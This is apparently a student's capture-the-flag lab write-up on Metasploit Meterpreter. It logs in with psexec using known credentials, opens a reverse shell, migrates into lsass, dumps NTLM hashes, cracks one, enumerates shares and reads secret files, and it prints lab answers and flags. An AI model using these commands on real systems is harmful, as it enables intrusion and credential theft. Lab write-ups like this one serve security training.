

Name: Ramya Ajay

Roll No: CB.EN.P2CYS22004

Metasploit Meterpreter

```
msf6 exploit(windows/smb/psexec) > set smbuser ballen
smbuser => ballen
msf6 exploit(windows/smb/psexec) > set smbpass Password1
smbpass => Password1
msf6 exploit(windows/smb/psexec) > set rhosts 10.10.248.184
rhosts => 10.10.248.184
msf6 exploit(windows/smb/psexec) > set lhost 10.10.184.132
lhost => 10.10.184.132
msf6 exploit(windows/smb/psexec) > exploit

[*] Started reverse TCP handler on 10.10.184.132:4444
[*] 10.10.248.184:445 - Connecting to the server...
[*] 10.10.248.184:445 - Authenticating to 10.10.248.184:445 as user 'ballen'...
[*] 10.10.248.184:445 - Selecting PowerShell target
[*] 10.10.248.184:445 - Executing the payload...
[+] 10.10.248.184:445 - Service start timed out, OK if running a command or non-
service executable...
[*] Sending stage (175686 bytes) to 10.10.248.184
[*] Meterpreter session 1 opened (10.10.184.132:4444 -> 10.10.248.184:60077) at
2023-06-08 01:35:06 +0100

meterpreter > |
```

### Task - 3: Meterpreter Commands

- Core commands in metasploit

#### Core commands

- **background** : Backgrounds the current session
- **exit** : Terminate the Meterpreter session
- **guid** : Get the session GUID (Globally Unique Identifier)
- **help** : Displays the help menu
- **info** : Displays information about a Post module
- **irb** : Opens an interactive Ruby shell on the current session
- **load** : Loads one or more Meterpreter extensions
- **migrate** : Allows you to migrate Meterpreter to another process
- **run** : Executes a Meterpreter script or Post module
- **sessions** : Quickly switch to another session

- File system commands

#### File system commands

- `cd` : Will change directory
- `ls` : Will list files in the current directory (`dir` will also work)
- `pwd` : Prints the current working directory
- `edit` : will allow you to edit a file
- `cat` : Will show the contents of a file to the screen
- `rm` : Will delete the specified file
- `search` : Will search for files
- `upload` : Will upload a file or directory
- `download` : Will download a file or directory

- Networking commands

#### Networking commands

- `arp` : Displays the host ARP (Address Resolution Protocol) cache
- `ifconfig` : Displays network interfaces available on the target system
- `netstat` : Displays the network connections
- `portfwd` : Forwards a local port to a remote service
- `route` : Allows you to view and modify the routing table

- System commands

#### System commands

- `clearev` : Clears the event logs
- `execute` : Executes a command
- `getpid` : Shows the current process identifier
- `getuid` : Shows the user that Meterpreter is running as
- `kill` : Terminates a process
- `pkill` : Terminates processes by name
- `ps` : Lists running processes
- `reboot` : Reboots the remote computer
- `shell` : Drops into a system command shell
- `shutdown` : Shuts down the remote computer
- `sysinfo` : Gets information about the remote system, such as OS

#### Task - 4: Post-Exploitation with Meterpreter

- help commands helps to get all the commands present in metasploit

```
meterpreter > help

Core Commands
=====

Command      Description
-----
?             Help menu
background    Backgrounds the current session
bg            Alias for background
bgkill        Kills a background meterpreter script
bglist        Lists running background scripts
bgrun         Executes a meterpreter script as a background thread
channel        Displays information or control active channels
close         Closes a channel
detach         Detach the meterpreter session (for http/https)
disable_unicode_encoding  Disables encoding of unicode strings
enable_unicode_encoding  Enables encoding of unicode strings
exit          Terminate the meterpreter session
get_timeouts   Get the current session timeout values
guid          Get the session GUID
```

- To get uid of the user

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

- To list the processes running

```
meterpreter > ps

Process List
=====

PID  PPID  Name           Arch  Session  User              Path
---  ---  ---
0     0     [System Process]
4     0     System         x64   0
68    4     Registry       x64   0
400   4     smss.exe       x64   0
564   552   csrss.exe      x64   0
640   632   csrss.exe      x64   1
644   704   dwm.exe        x64   1                Window Manager\DW M-1  C:\Windows\System32\dwm.exe
688   552   wininit.exe    x64   0
704   632   winlogon.exe   x64   1                NT AUTHORITY\SYSTEM    C:\Windows\System32\winlogon.exe
768   688   services.exe   x64   0
788   688   lsass.exe      x64   0                NT AUTHORITY\SYSTEM    C:\Windows\System32\lsass.exe
```

- To get the hash of a process, first migrate it and then hashdump it.

```
meterpreter > migrate 788
[*] Migrating from 3856 to 788...
[*] Migration completed successfully.
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fd
b71:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a9ac3de200cb4d510fed7610c7037292:::
ballen:1112:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
jchambers:1114:aad3b435b51404eeaad3b435b51404ee:69596c7aa1e8daee17f8e78870e25a5c
:::
jfox:1115:aad3b435b51404eeaad3b435b51404ee:c64540b95e2b2f36f0291c3a9fb8b840:::
lnelson:1116:aad3b435b51404eeaad3b435b51404ee:e88186a7bb7980c913dc90c7caa2a3b9:::
:
erptest:1117:aad3b435b51404eeaad3b435b51404ee:8b9ca7572fe60a1559686dba90726715:::
:
ACME-TEST$:1008:aad3b435b51404eeaad3b435b51404ee:d694608ff8ff33b84c4791642e28a67
6:::
```

- The shell command will launch a regular command-line shell on the target system.

```
meterpreter > shell
Process 3644 created.
Channel 3 created.
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Program Files (x86)\Windows Multimedia Platform>ls
```

### Task - 5: Post-Exploitation Challenge

a) What is the computer name?

- the command sysinfo helps in getting the OS information

```
meterpreter > sysinfo
Computer      : ACME-TEST
OS            : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain        : FLASH
Logged On Users : 7
Meterpreter   : x86/windows
```

b) What is the target domain?

- The domain name is mentioned the result of sysinfo command

```
meterpreter > sysinfo
Computer      : ACME-TEST
OS            : Windows 2016+ (10.0 Build 17763).
Architecture  : x64
System Language : en US
Domain        : FLASH
Logged On Users : 7
Meterpreter   : x86/windows
```

c) What is the name of the share likely created by the user?

- We go to the enum\_share folder
- let us set the session
- So we get the name of the share created by the user

```
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/smb/psexec) > use /post/windows/gather/enum_shares
msf6 post(windows/gather/enum_shares) > info

      Name: Windows Gather SMB Share Enumeration via Registry
      Module: post/windows/gather/enum_shares
      Platform: Windows
      Arch:
      Rank: Normal

Provided by:
  Carlos Perez <carlos_perez@darkoperator.com>

Module stability:
  crash-safe

Compatible session types:
  Meterpreter
  Powershell
  Shell
```



```

msf6 post(windows/gather/enum_shares) > set session 1
session => 1
msf6 post(windows/gather/enum_shares) > run

[*] Running module against ACME-TEST (10.10.248.184)
[*] The following shares were found:
[*]   Name: SYSVOL
[*]   Path: C:\Windows\SYSVOL\sysvol
[*]   Remark: Logon server share
[*]   Type: DISK
[*]
[*]   Name: NETLOGON
[*]   Path: C:\Windows\SYSVOL\sysvol\FLASH.local\SCRIPTS
[*]   Remark: Logon server share
[*]   Type: DISK
[*]
[*]   Name: speedster
[*]   Path: C:\Shares\speedster
[*]   Type: DISK
[*]
[*] Post module execution completed

```

d) What is the NTLM hash of the jchambers user?

- We check the processes of the system
- From that, we select the lsass.exe file and migrate it
- We get the result of the hash by hashdumping it.

```

meterpreter > ps

```

Process List

```

=====

```

PID	PPID	Name	Arch	Session	User	Path
0	0	[System Process]				
4	0	System	x64	0		
68	4	Registry	x64	0		
400	4	smss.exe	x64	0		
564	552	csrss.exe	x64	0		
640	632	csrss.exe	x64	1		
644	704	dwm.exe	x64	1	Window Manager\DW M-1	C:\Windows\System32\dwm.exe
688	552	wininit.exe	x64	0		
704	632	winlogon.exe	x64	1	NT AUTHORITY\SYSTEM	C:\Windows\System32\winlogon.exe
768	688	services.exe	x64	0		
788	688	lsass.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\lsass.exe

```

meterpreter > migrate 788
[*] Migrating from 3856 to 788...
[*] Migration completed successfully.
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fd
b71:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a9ac3de200cb4d510fed7610c7037292:::
ballen:1112:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
jchambers:1114:aad3b435b51404eeaad3b435b51404ee:69596c7aa1e8daee17f8e78870e25a5c
:::
jfox:1115:aad3b435b51404eeaad3b435b51404ee:c64540b95e2b2f36f0291c3a9fb8b840:::
lnelson:1116:aad3b435b51404eeaad3b435b51404ee:e88186a7bb7980c913dc90c7caa2a3b9:::
:
erptest:1117:aad3b435b51404eeaad3b435b51404ee:8b9ca7572fe60a1559686dba90726715:::
:
ACME-TEST$:1008:aad3b435b51404eeaad3b435b51404ee:d694608ff8ff33b84c4791642e28a67
6:::

```

e) What is the cleartext password of the jchambers user?

- The cleartext password can be obtained by converting the hash into normal text in an online platform

### Free Password Hash Cracker

---

Enter up to 20 non-salted hashes, one per line:

☐ I'm not a robot

[Privacy](#) - [Terms](#)

Crack Hashes

**Supports:** LM, NTLM, md2, md4, md5, md5(md5\_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1 sha1\_bin), QubesV3.1BackupDefaults

Hash	Type	Result
69596c7aa1e8daee17f8e78870e25a5c	NTLM	Trustno1

**Color Codes:** Green Exact match, Yellow Partial match, Red Not found.

f) Where is the "secrets.txt" file located?

- We use search -f '\*.txt' command to search the file

```

meterpreter > search -f secrets.txt
Found 1 result...
=====

Path                                     Size (bytes)  Mo
dified (UTC)
----
-----
c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt 35             20
21-07-30 08:44:27 +0100

```

g) What is the Twitter password revealed in the "secrets.txt" file?

- This is obtained by going into the folder and displaying the content

```
meterpreter > shell
Process 3644 created.
Channel 3 created.
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Program Files (x86)\Windows Multimedia Platform>ls
```

```
C:\Program Files (x86)\Windows Multimedia Platform>type secrets.txt
type secrets.txt
My Twitter password is KDSvbsw3849!
```

h) Where is the "realsecret.txt" file located?

```
meterpreter > search -f realsecret.txt
Found 1 result...
=====

Path                                Size (bytes)  Modified (UTC)
----                                -
C:\inetpub\wwwroot\realsecret.txt  34            2021-07-30 09:30:24 +0100
```

i) What is the real secret?

```
meterpreter > cat wwwroot\realsecret.txt
The Flash is the fastest man alive
meterpreter >
```